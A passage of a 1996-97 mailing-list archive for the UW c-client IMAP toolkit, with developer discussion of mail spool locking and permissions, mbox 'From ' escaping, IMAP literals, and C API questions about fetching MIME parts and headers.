JAA09536; Mon, 28 Oct 1996 09:44:40 -0800 (PST) Received: from localhost by Ikkoku-Kan.Panda.COM (NX5.67e/UW-NDC/Panda Revision: 2.27.MRC ) id AA08281; Mon, 28 Oct 96 09:44:35 -0800 Date: Mon, 28 Oct 1996 09:19:15 -0800 (PST) From: Mark Crispin Subject: re: external *.lock creation/deletion program To: raines@SLAC.Stanford.EDU Cc: c-client@cac.washington.edu In-Reply-To: Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII On Mon, 28 Oct 1996 11:00:26 -0500, Paul Raines wrote: > (1) in order for *.lock creation for the mail spool file to > work, either the spool directory must be writable (ususally > 01777) by all or the program based on c-client must be > setuid/setgid. As a sysadmin, I find neither of these options > very acceptable. We, too, don't find setuid/setgid to be acceptable. However, it is possible to set the spool directory 01777 without encountering any serious problems. Make sure that everybody has a mail file, fix any MUA that deletes mail files, and check for links/bad ownership when delivering. > For my reader, I have created a small, > simple setgid program to create/delete *.lock files in the spool > directory. It is small and simple enough to (hopefully) see > any security holes. That's what they said about GNU movemail. Of course, movemail was setuid root instead of just setgid, but the point is still valid. Privileged programs are a security hole. Each user-invokable program that runs with privileges is a potential weakness in the system, one that may get you down months or years later. That's why one of the first things done with secure versions of UNIX is remove the setgid/setuid file bits. > It would be nice if c-client could be > configured to use such an external program. There are no plans to do so. > (2) any plans for adding Content-Disposition support to the > BODY structure? This has already happened in the imap-4.1 version. Internal.DOC hasn't been updated yet. > (3) I am confused about the following text from Internal.DOC > > >> GET_FROMWIDGET / SET_FROMWIDGET > >> If non-NIL, APPEND in the Unix mbox format will insert a > >> ">" character in front of all lines which begin with the > >> string "From ". If NIL, it will only do so if the entire > >> line looks like a message delimiter (that is, the date is > >> also in correct format). Defaults to T. > Shouldn't the last be 'only do so if the entire line does NOT > lool like a message delimiter'? I have seen some formats that > do put a '>' in front of the mesg delimiter lines but this seems > a crazy standard since many use '>' as a mesg inclusion prefix. The text is correct as is. The entire purpose of writing the ">" is to prevent a message text line from being seen as a message delimiter. c-client has some very specific tests to prevent false matches (a line that merely begins with the word "From " will not confuse c-client). You should leave SET_FROMWIDGET set to T, since other mail programs are not as smart as c-client and match on any line that happens to begin with "From ". [To forstall any helpful comments about "Content-Length", let's just say that I have a multi-hour lecture prepared on why Content-Length is a terrible idea and should never be used.] From pinedev@shivax2.cac.washington.edu Mon Oct 28 09:48:51 1996 -0800 Return-Path: Received: via tmail-4.0(2) for mailarch+c-client; Mon, 28 Oct 1996 09:48:51 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu by groupfs.cac.washington.edu (5.65+UW96.08/UW-NDC Revision: 2.33 ) id AA19989; Mon, 28 Oct 96 09:48:51 -0800 Received: (from daemon@localhost) by mx2.cac.washington.edu (8.8.2+UW96.10/8.8.2+UW96.10) id KAA16114 for c-client-out; Mon, 28 Oct 1996 10:45:48 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from shiva1.cac.washington.edu (shiva1.cac.washington.edu [140.142.100.201]) by mx2.cac.washington.edu (8.8.2+UW96.10/8.8.2+UW96.10) with ESMTP id KAA16110 for ; Mon, 28 Oct 1996 10:45:45 -0700 Received: from shiva1.cac.washington.edu (dlm@localhost) by shiva1.cac.washington.edu (8.7.5+UW96.10/8.7.3+UW96.09) with SMTP id JAA24063; Mon, 28 Oct 1996 09:45:42 -0800 Date: Mon, 28 Oct 1996 09:45:39 -0800 (PST) From: David L Miller To: Paul Raines Cc: c-client@cac.washington.edu Subject: Re: external *.lock creation/deletion program In-Reply-To: Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII On Mon, 28 Oct 1996, Paul Raines wrote: > (3) I am confused about the following text from Internal.DOC > > >> GET_FROMWIDGET / SET_FROMWIDGET > >> If non-NIL, APPEND in the Unix mbox format will insert a > >> ">" character in front of all lines which begin with the > >> string "From ". If NIL, it will only do so if the entire > >> line looks like a message delimiter (that is, the date is > >> also in correct format). Defaults to T. > > Shouldn't the last be 'only do so if the entire line does NOT > lool like a message delimiter'? I have seen some formats that > do put a '>' in front of the mesg delimiter lines but this seems > a crazy standard since many use '>' as a mesg inclusion prefix. No, the '>' widget is inserted so that a line in the body of a message that looks like a delimiter will not be mistaken for one. Since the only way to distinguish message boundaries in mbox format is the "From " line, some escape mechanism is necessary. Indeed, the '>' widget does not seem like a very good choice, but it is what is used by older systems. I think some mailers have hacks to suppress them on display too... --DLM -- |\ | |\/| David L. Miller dlm@cac.washington.edu (206) 685-6240 |/ |_ | | Software Engineer, Pine Development Team (206) 685-4045 (FAX) University of Washington, Networks & Distributed Computing, Box 354841 4545 15th Ave NE, Seattle WA 98105, USA Stardate: [-31]8338.70 From pinedev@shivax2.cac.washington.edu Mon Oct 28 10:10:20 1996 -0800 Return-Path: Received: via tmail-4.0(2) for mailarch+c-client; Mon, 28 Oct 1996 10:10:20 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu by groupfs.cac.washington.edu (5.65+UW96.08/UW-NDC Revision: 2.33 ) id AA20058; Mon, 28 Oct 96 10:10:19 -0800 Received: (from daemon@localhost) by mx2.cac.washington.edu (8.8.2+UW96.10/8.8.2+UW96.10) id LAA16816 for c-client-out; Mon, 28 Oct 1996 11:08:47 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from pauli.physics.wm.edu (pauli.physics.wm.edu [128.239.3.112]) by mx2.cac.washington.edu (8.8.2+UW96.10/8.8.2+UW96.10) with SMTP id LAA16812 for ; Mon, 28 Oct 1996 11:08:43 -0700 Received: by pauli.physics.wm.edu (951211.SGI.8.6.12.PATCH1042/951211.SGI.AUTO) id NAA18001; Mon, 28 Oct 1996 13:10:56 -0500 Date: Mon, 28 Oct 1996 13:10:56 -0500 Subject: re: external *.lock creation/deletion program To: c-client@cac.washington.edu From: Paul Raines Message-Id: X-Mailer: TkMail 4.0beta8 Reply-To: raines@SLAC.Stanford.EDU In-Reply-To: On Mon, 28 Oct 1996 09:19:15 (PST), Mark Crispin wrote: >> We, too, don't find setuid/setgid to be acceptable. >> >> However, it is possible to set the spool directory 01777 without encountering >> any serious problems. Make sure that everybody has a mail file, fix any MUA >> that deletes mail files, and check for links/bad ownership when delivering. >> I guess it is a matter of opinion, but I find setting the spool directory to 01777 more insecure than having a small, simple setgid program. There is nothing preventing users from *.lock'ing other users mailboxes, for example. Also, fixing MUA's is often impossible. Now that I have read the APPEND command, I understand the wording of the GET_FROMWIDGET / SET_FROMWIDGET setting better now. By "all", I thought it would but the '>' in front of the mesg deliminator too. But I see the mesg deliminator "From " line is never passed in an APPEND. BTW, when I tried an APPEND from a 'telnet host 143' to an IMAP server, even after reaching the number of bytes in the literal, it kept reading for ever. I expect to be able to keep typing letters till the limit was reached. Does it have to end exactly at an end-of-line? Or does the nature of using telnet screw up everything for literals? -- _________________________________________________________________________ Paul Raines raines@slac.stanford.edu 804-221-1876 Stanford Linear Accelerator End Station A E143 Collaboration http://www.slac.stanford.edu/~raines/index.html <======== PGP public key From pinedev@shivax2.cac.washington.edu Mon Oct 28 13:29:50 1996 -0800 Return-Path: Received: via tmail-4.0(2) for mailarch+c-client; Mon, 28 Oct 1996 13:29:50 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu by groupfs.cac.washington.edu (5.65+UW96.08/UW-NDC Revision: 2.33 ) id AA25679; Mon, 28 Oct 96 13:29:49 -0800 Received: (from daemon@localhost) by mx1.cac.washington.edu (8.8.2+UW96.10/8.8.2+UW96.10) id NAA15083 for c-client-out; Mon, 28 Oct 1996 13:27:05 -0800 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) by mx1.cac.washington.edu (8.8.2+UW96.10/8.8.2+UW96.10) with ESMTP id NAA15075 for ; Mon, 28 Oct 1996 13:27:01 -0800 Received: from Ikkoku-Kan.Panda.COM by Tomobiki-Cho.CAC.Washington.EDU (8.7.5/UW-NDC Revision: 2.28 ) id NAA10118; Mon, 28 Oct 1996 13:26:57 -0800 (PST) Received: from localhost by Ikkoku-Kan.Panda.COM (NX5.67e/UW-NDC/Panda Revision: 2.27.MRC ) id AA08969; Mon, 28 Oct 96 13:26:52 -0800 Date: Mon, 28 Oct 1996 12:14:25 -0800 (PST) From: Mark Crispin Subject: re: external *.lock creation/deletion program To: raines@SLAC.Stanford.EDU Cc: c-client@cac.washington.edu In-Reply-To: Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII On Mon, 28 Oct 1996 13:10:56 -0500, Paul Raines wrote: > I guess it is a matter of opinion, but I find setting the spool directory > to 01777 more insecure than having a small, simple setgid program. We'll have to agree to disagree. By the way, are you aware that a setgid program isn't going to work over NFS unless you mount to enable setuid? If you do that, you have much worse security problems than an 01777 spool directory! > There > is nothing preventing users from *.lock'ing other users mailboxes, for > example. This isn't as much of a problem as you seem think it is. In order for this attack to be effective, the lock file must be created within 5 minutes of now, otherwise the lock is declared stale and removed. So, the worst that a bad guy can do is cause (very) short-term denial of service. The bad guy also has to use a hard link to hide his identify. If your mail spool is on a different partition (routinely done on most sites), that greatly limits what the bad guy can use as a links. If you know that nothing will ever put data into a lcok file, then you can make the locking routines ignore locks that are of non-zero size. Then the bad guy has to make hard links to zero length files that constantly have their date updated. If you are really concerned about mail spool security, you would not want to use a mail spool at all. Instead, you would deliver directly to home directories or use IMAP. > But I see the mesg deliminator "From " line is never passed in an APPEND. If you think about it, the "From " line is an artifact of one mail file format on one operating system. Some OS/360 people in the 1960s may have thought that file data includes the "//GO.SYSIN DD *" card.... ;-) > BTW, when I tried an APPEND from a 'telnet host 143' to an IMAP server, > even after reaching the number of bytes in the literal, it kept reading > for ever. I expect to be able to keep typing letters till the limit > was reached. Does it have to end exactly at an end-of-line? Or does > the nature of using telnet screw up everything for literals? From section 4.3 in the IMAP4rev1 base specification: A literal is a sequence of zero or more octets (including CR and LF), prefix-quoted with an octet count in the form of an open brace ("{"), the number of octets, close brace ("}"), and CRLF. In other words, there must be a CRLF after the literal size count. Therefore, {3}foo is invalid. A literal doesn't end a command. Only a CRLF (and not the one after the literal size count) ends a command. Some commands (e.g. LOGIN) may have multiple literals in their arguments. From pinedev@shivax2.cac.washington.edu Sun Nov 17 03:33:39 1996 -0800 Return-Path: Received: via tmail-4.0(2) for mailarch+c-client; Sun, 17 Nov 1996 03:33:38 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.8.2+UW96.10/8.8.2+UW96.10) with ESMTP id DAA28485 for ; Sun, 17 Nov 1996 03:33:37 -0800 (PST) Received: (from daemon@localhost) by mx2.cac.washington.edu (8.8.2+UW96.10/8.8.2+UW96.10) id DAA08461 for c-client-out; Sun, 17 Nov 1996 03:31:39 -0800 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from TYO2.gate.nec.co.jp (TYO2.gate.nec.co.jp [203.180.98.33]) by mx2.cac.washington.edu (8.8.2+UW96.10/8.8.2+UW96.10) with ESMTP id DAA08457; Sun, 17 Nov 1996 03:31:34 -0800 Received: from mailsv.nec.co.jp ([133.200.254.203]) by TYO2.gate.nec.co.jp (8.7.6+2.6Wbeta7/3.3Wb-NEC-TYO2) with ESMTP id UAA25215; Sun, 17 Nov 1996 20:31:32 +0900 (JST) Received: from engvan.do.mms.mt.nec.co.jp (engvan.do.mms.mt.nec.co.jp [10.16.3.202]) by mailsv.nec.co.jp (8.7.6+2.6Wbeta7/3.4W-96111415) with ESMTP id UAA20649; Sun, 17 Nov 1996 20:31:32 +0900 (JST) Received: from red.channel.or.jp ([10.40.1.43]) by engvan.do.mms.mt.nec.co.jp (8.7.5/3.3W9-02/01/96) with SMTP id UAA17273; Sun, 17 Nov 1996 20:34:32 +0900 (GMT) Date: Sun, 17 Nov 1996 20:34:32 +0900 (GMT) From: Fujio Ishii Abiko Message-Id: <199611171134.UAA17273@engvan.do.mms.mt.nec.co.jp> To: imap@cac.washington.edu, c-client@cac.washington.edu Subject: Please add me to this mailing list Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-2022-JP X-Mailer: WeMail32[1.04] ID:1A1054 Please add me to this mailing list ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Fujio ISHII / SO Service Division / NEC Information Service,Ltd. ________________________________________________________________ email: fisii@neis.nec.co.jp ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ From pinedev@shivax2.cac.washington.edu Thu Dec 5 19:08:34 1996 -0800 Return-Path: Received: via tmail-4.0(2) for mailarch+c-client; Thu, 5 Dec 1996 19:08:34 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.8.2+UW96.11/8.8.2+UW96.10) with ESMTP id TAA13219 for ; Thu, 5 Dec 1996 19:08:33 -0800 (PST) Received: (from daemon@localhost) by mx1.cac.washington.edu (8.8.2+UW96.11/8.8.2+UW96.10) id TAA13820 for c-client-out; Thu, 5 Dec 1996 19:05:46 -0800 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from gw.navio.com (gw.navio.com [204.182.38.140]) by mx1.cac.washington.edu (8.8.2+UW96.11/8.8.2+UW96.10) with SMTP id TAA13815 for ; Thu, 5 Dec 1996 19:05:37 -0800 Received: (from proxy@localhost) by gw.navio.com (8.6.12/8.6.9) id TAA14178; Thu, 5 Dec 1996 19:05:36 -0800 Received: from omart.navio.com(204.182.38.188) by tvsoft.com via smap (V1.3) id sma014171; Thu Dec 5 19:05:12 1996 Message-ID: <32A78DC0.5F6A@mail.navio.com> Date: Thu, 05 Dec 1996 19:06:40 -0800 From: Omar Tawakol Reply-To: omar@Navio.COM Organization: Navio Communications X-Mailer: Mozilla 3.0Gold (WinNT; I) MIME-Version: 1.0 To: c-client@cac.washington.edu CC: omart@cs.stanford.edu Subject: part of a mime msg Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Hi, I am trying to use the c-client to get only one mime part of a message. The short version of my question is: What do I pass into the char* section parameter of mail_fetch_text so that only the desired part is returned? Here's the details... When I send the following string directly to an IMAP server: A004 FETCH 4 BODY[2.1] It returns the body of part 2.1 in message 4. The structure of message 4 is as follows: part content-type 1 TEXT/PLAIN;charset=us-ascii (7 lines) 2 MESSAGE/RFC822 (328 lines) 2.1 TEXT/PLAIN;charset=us-ascii (7 lines) 2.2 TEXT/HTML;charset=us-ascii (62 lines) 2.3 TEXT/HTML;charset=us-ascii;name=www.stanford.edu (224 lines) The question is, how do I use the c-client imap4rev1 Beta to do the same? I tried using mail_fetch_text. If I pass in a NIL for the char* section parameter, the function correctly retrieves the whole text of the message. Here's the prototype for mail_fetch_text: char *mail_fetch_text (MAILSTREAM *stream,unsigned long msgno, char *section, unsigned long *len,long flags); Given the example message above, what do I pass into the section parameter so that the mail_fetch_text return value is only the body of the part I wanted (in the example above part 2.1)? Should I use another function instead of mail_fetch_text? I appreciate any help anyone may have. Regards, Omar. ==================== Omar Tawakol omart@cs.stanford.edu From pinedev@shivax2.cac.washington.edu Thu Dec 5 19:25:56 1996 -0800 Return-Path: Received: via tmail-4.0(2) for mailarch+c-client; Thu, 5 Dec 1996 19:25:56 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.8.2+UW96.11/8.8.2+UW96.10) with ESMTP id TAA13358 for ; Thu, 5 Dec 1996 19:25:55 -0800 (PST) Received: (from daemon@localhost) by mx1.cac.washington.edu (8.8.2+UW96.11/8.8.2+UW96.10) id TAA14073 for c-client-out; Thu, 5 Dec 1996 19:24:40 -0800 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from gw.navio.com (gw.navio.com [204.182.38.140]) by mx1.cac.washington.edu (8.8.2+UW96.11/8.8.2+UW96.10) with SMTP id TAA14069 for ; Thu, 5 Dec 1996 19:24:37 -0800 Received: (from proxy@localhost) by gw.navio.com (8.6.12/8.6.9) id TAA14801 for ; Thu, 5 Dec 1996 19:24:36 -0800 Received: from omart.navio.com(204.182.38.188) by tvsoft.com via smap (V1.3) id sma014795; Thu Dec 5 19:24:22 1996 Message-ID: <32A7923D.12F7@mail.navio.com> Date: Thu, 05 Dec 1996 19:25:49 -0800 From: Omar Tawakol Reply-To: omar@Navio.COM Organization: Navio Communications X-Mailer: Mozilla 3.0Gold (WinNT; I) MIME-Version: 1.0 To: c-client@cac.washington.edu Subject: part of a mime msg Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sorry for the last message, I should use mail_fetch_body instead of mail_fetch_text to get the body of a specified part. (Or at least that seems to work correctly.) ==================== Omar Tawakol omart@cs.stanford.edu From pinedev@shivax2.cac.washington.edu Thu Dec 5 19:30:17 1996 -0800 Return-Path: Received: via tmail-4.0(2) for mailarch+c-client; Thu, 5 Dec 1996 19:30:17 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.8.2+UW96.11/8.8.2+UW96.10) with ESMTP id TAA12487 for ; Thu, 5 Dec 1996 19:30:16 -0800 (PST) Received: (from daemon@localhost) by mx1.cac.washington.edu (8.8.2+UW96.11/8.8.2+UW96.10) id TAA14129 for c-client-out; Thu, 5 Dec 1996 19:29:09 -0800 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from mailhost2.cac.washington.edu (mailhost2.cac.washington.edu [140.142.33.2]) by mx1.cac.washington.edu (8.8.2+UW96.11/8.8.2+UW96.10) with ESMTP id TAA14125 for ; Thu, 5 Dec 1996 19:29:07 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) by mailhost2.cac.washington.edu (8.8.2+UW96.11/8.8.2+UW96.10) with SMTP id TAA24550; Thu, 5 Dec 1996 19:29:04 -0800 Date: Thu, 5 Dec 1996 19:16:18 -0800 (PST) From: Mark Crispin Subject: re: part of a mime msg To: omar@Navio.COM cc: c-client@cac.washington.edu, omart@cs.stanford.edu In-Reply-To: <32A78DC0.5F6A@mail.navio.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII In general, it is better to send questions on how to program c-client directly to me, as suggested in the c-client README file, instead of to the c-client list. This particular question was about programming details for as-yet undocumented aspects of the latest imap-4.1 toolkit. It's unlikely that very many people would know the answer (and certainly not without analyzing the source). It is also highly recommended that you read the supplied programming documentation (imap-4.1/docs/Internal.DOC) thoroughly. Even though the new interfaces are not defined yet, the old imap-4 ones described in that document still work by means of compatibility macros; in particular mail_fetchbody() works to fetch an arbitrary body part. As for the new functions, if you look at the compatibility macros in mail.h you will find that mail_fetch_body() is the function that you want. mail_fetch_text() fetches the text portion of an RFC-822 message without regard to MIME. If the section field is empty, this is the top-level message text; otherwise, it is the body text of a MESSAGE/RFC822 body part. In other words, mail_fetch_text() will fetch BODY[TEXT] for a null section or BODY[2.1.TEXT] for section 2.1. From pinedev@shivax2.cac.washington.edu Fri Jan 3 14:24:44 1997 -0800 Return-Path: Received: via tmail-4.0(2) for mailarch+c-client; Fri, 3 Jan 1997 14:24:44 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW96.12) with ESMTP id OAA18462 for ; Fri, 3 Jan 1997 14:24:43 -0800 (PST) Received: (from daemon@localhost) by mx2.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW96.12) id OAA13419 for c-client-out; Fri, 3 Jan 1997 14:15:16 -0800 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from hal9000.forbin.com ([204.71.100.3]) by mx2.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW96.12) with SMTP id OAA13411 for ; Fri, 3 Jan 1997 14:15:11 -0800 Received: from vecsplat.cr.mci.com (splatvec.cr.mci.com [166.37.124.77]) by hal9000.forbin.com (8.6.11/8.6.9) with ESMTP id QAA09416 for ; Fri, 3 Jan 1997 16:54:13 -0600 Message-ID: <32CD84A4.4B9A@forbin.com> Date: Fri, 03 Jan 1997 16:13:56 -0600 From: Simon McClenahan Organization: is the key. X-Sender: Simon McClenahan (Unverified) X-Mailer: Mozilla 4.0b1 (Win95; I) MIME-Version: 1.0 To: c-client list Subject: base64 decoding X-Priority: Normal Content-Transfer-Encoding: 7bit Content-Type: text/plain; charset=us-ascii I'm trying to base64 decode a message. I'm trying to extract a binary (video) file from a message. I can find the PART that contains the encoded file, but I don't understand how to decode it properly. Is there a way to decode it directly to a file rather than in memory? I don't understand mail_fetchbody() and what a section is. Am I sending the right type of data to rfc822_base64() ? Right now, all I get is a file with 0 length. ENVELOPE *envelope=NULL; int found=NIL; PART *part=NULL; int sec=0; SIZEDTEXT *text=NULL; void *vdata=NULL; unsigned long lvdata=0; /* get mail structure */ envelope = mail_fetchstructure(stream, 1, &body); /* find the video file */ found = NIL; for (part=body->nested.part, sec=1 ; NULL != part ; part=part->next, sec++) { if ( TYPEVIDEO == part->body.type ) { found = T; break; } } if ( ! found ) VfePerror(0, "video file not found in message"); sprintf(tmp, "%d", sec); mail_fetchbody(stream, 1, tmp, NIL); /* decode it */ text = &part->body.contents.text; vdata = rfc822_base64(text->data, text->size, &lvdata); /* save it in file */ sprintf(vfilepath, "%s/%s", dir, VFILE_NAME); vfile = fopen(vfilepath, "w+"); fwrite(vdata, 1, lvdata, vfile); fclose(vfile); cheers, -- Simon McClenahan, an Australian in Iowa and an "I found my wife on the Internet" guy. PLEASURE / BUSINESS mailto:splat@forbin.com / SMcClenahan@MCImail.com Phone: +1 319 277 6058 / Phone: +1 319 375 1772 / USA Toll-free: 800 728 7000 Extension: 1772 http://www.freedomstarr.com/MC2776058.rep From pinedev@shivax2.cac.washington.edu Fri Jan 3 14:30:25 1997 -0800 Return-Path: Received: via tmail-4.0(2) for mailarch+c-client; Fri, 3 Jan 1997 14:30:25 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW96.12) with ESMTP id OAA18585 for ; Fri, 3 Jan 1997 14:30:24 -0800 (PST) Received: (from daemon@localhost) by mx2.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW96.12) id OAA13618 for c-client-out; Fri, 3 Jan 1997 14:23:36 -0800 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from hal9000.forbin.com ([204.71.100.3]) by mx2.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW96.12) with SMTP id OAA13608 for ; Fri, 3 Jan 1997 14:23:32 -0800 Received: from vecsplat.cr.mci.com (splatvec.cr.mci.com [166.37.124.77]) by hal9000.forbin.com (8.6.11/8.6.9) with ESMTP id RAA09559 for ; Fri, 3 Jan 1997 17:02:36 -0600 Message-ID: <32CD86AF.569@forbin.com> Date: Fri, 03 Jan 1997 16:22:39 -0600 From: Simon McClenahan Organization: is the key. X-Sender: Simon McClenahan (Unverified) X-Mailer: Mozilla 4.0b1 (Win95; I) MIME-Version: 1.0 To: c-client list Subject: extended header fields X-Priority: Normal Content-Transfer-Encoding: 7bit Content-Type: text/plain; charset=us-ascii I want to examine a message header for some "custom made" fields. The only way I can see is stolen from mtest.c, where I create a STRINGLIST of valid headers and call mail_fetchheader_full() . Is this the only way? I noticed that the string it returns has DOS-like CRLF line-endings. How do I stop that? What I really want is to specify a header field and retrieve the comma delimited data in it, e.g. X-Something: some1, something else, nothing where I want all the comma delimited data in some sort of string array. Any hints? STRINGLIST *lines = mail_newstringlist (); STRINGLIST *cur = lines; cur->text.size = strlen (cur->text.data = cpystr ("X-Something")); cur = cur->next = mail_newstringlist (); cur->text.size = strlen (cur->text.data = cpystr ("X-Something-Else")); cur = cur->next = mail_newstringlist (); cur->text.size = strlen (cur->text.data = cpystr ("X-Another-Thing")); /* write it to a file */ sprintf(commandspath, "%s/%s", dir, COMMANDS_NAME); comfile = fopen(commandspath, "w+"); fputs (mail_fetchheader_full (stream, 1,lines,NIL,NIL), comfile); mail_free_stringlist (&lines); cheers, -- Simon McClenahan, an Australian in Iowa and an "I found my wife on the Internet" guy. PLEASURE / BUSINESS mailto:splat@forbin.com / SMcClenahan@MCImail.com Phone: +1 319 277 6058 / Phone: +1 319 375 1772 / USA Toll-free: 800 728 7000 Extension: 1772 http://www.freedomstarr.com/MC2776058.rep From pinedev@shivax2.cac.washington.edu Fri Jan 3 14:45:44 1997 -0800 Return-Path: Received: via tmail-4.0(2) for mailarch+c-client; Fri, 3 Jan 1997 14:45:44 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW96.12) with ESMTP id OAA18994 for ; Fri, 3 Jan 1997 14:45:43 -0800 (PST) Received: (from daemon@localhost) by mx1.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW96.12) id OAA15489 for c-client-out; Fri, 3 Jan 1997 14:37:03 -0800 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) by mx1.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW96.12) with ESMTP id OAA15475 for ; Fri, 3 Jan 1997 14:36:59 -0800 Received: from Ikkoku-Kan.Panda.COM by Tomobiki-Cho.CAC.Washington.EDU (8.7.5/UW-NDC Revision: 2.28 ) id OAA20003; Fri, 3 Jan 1997 14:36:57 -0800 (PST) Received: from localhost by Ikkoku-Kan.Panda.COM (NX5.67e/UW-NDC/Panda Revision: 2.27.MRC ) id AA11825; Fri, 3 Jan 97 14:36:52 -0800 Date: Fri, 3 Jan 1997 14:34:19 -0800 (PST) From: Mark Crispin Subject: re: base64 decoding To: Simon McClenahan Cc: c-client list In-Reply-To: <32CD84A4.4B9A@forbin.com> Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII c-client section specifiers are the same as IMAP section specifiers. Refer to RFC-2060 for a formal description, and to mtest.c for an example of how to run down a BODY structure and get the section specifier. This section of code is completely wrong: mail_fetchbody(stream, 1, tmp, NIL); /* decode it */ text = &part->body.contents.text; You must *NOT* reference body.contents.text, not for any reason whatsoever!! These are internal to c-client. You should use the values returned from mail_fetch????() instead. From pinedev@shivax2.cac.washington.edu Fri Jan 3 14:47:09 1997 -0800 Return-Path: Received: via tmail-4.0(2) for mailarch+c-client; Fri, 3 Jan 1997 14:47:09 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW96.12) with ESMTP id OAA19048 for ; Fri, 3 Jan 1997 14:47:08 -0800 (PST) Received: (from daemon@localhost) by mx2.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW96.12) id OAA14024 for c-client-out; Fri, 3 Jan 1997 14:39:07 -0800 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) by mx2.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW96.12) with ESMTP id OAA14010 for ; Fri, 3 Jan 1997 14:39:01 -0800 Received: from Ikkoku-Kan.Panda.COM by Tomobiki-Cho.CAC.Washington.EDU (8.7.5/UW-NDC Revision: 2.28 ) id OAA20008; Fri, 3 Jan 1997 14:38:58 -0800 (PST) Received: from localhost by Ikkoku-Kan.Panda.COM (NX5.67e/UW-NDC/Panda Revision: 2.27.MRC ) id AA11834; Fri, 3 Jan 97 14:38:52 -0800 Date: Fri, 3 Jan 1997 14:37:02 -0800 (PST) From: Mark Crispin Subject: re: extended header fields To: Simon McClenahan Cc: c-client list In-Reply-To: <32CD86AF.569@forbin.com> Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII On Fri, 03 Jan 1997 16:22:39 -0600, Simon McClenahan wrote: > I want to examine a message header for some "custom made" fields. The only > way I can see is stolen from mtest.c, where I create a STRINGLIST of valid > headers and call mail_fetchheader_full() . Is this the only way? For all intents and purposes, "yes". > I noticed that the string it returns has > DOS-like CRLF line-endings. How do I stop that? You don't. c-client deals in Internet standard newlines. Internet standard newlines are CRLF. From pinedev@shivax2.cac.washington.edu Tue Jan 7 13:17:11 1997 -0800 Return-Path: Received: via tmail-4.0(2) for mailarch+c-client; Tue, 7 Jan 1997 13:17:11 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW96.12) with ESMTP id NAA16976 for ; Tue, 7 Jan 1997 13:17:10 -0800 (PST) Received: (from daemon@localhost) by mx1.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW96.12) id NAA07560 for c-client-out; Tue, 7 Jan 1997 13:13:09 -0800 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from mail13.digital.com (mail13.digital.com [192.208.46.30]) by mx1.cac.washington.edu 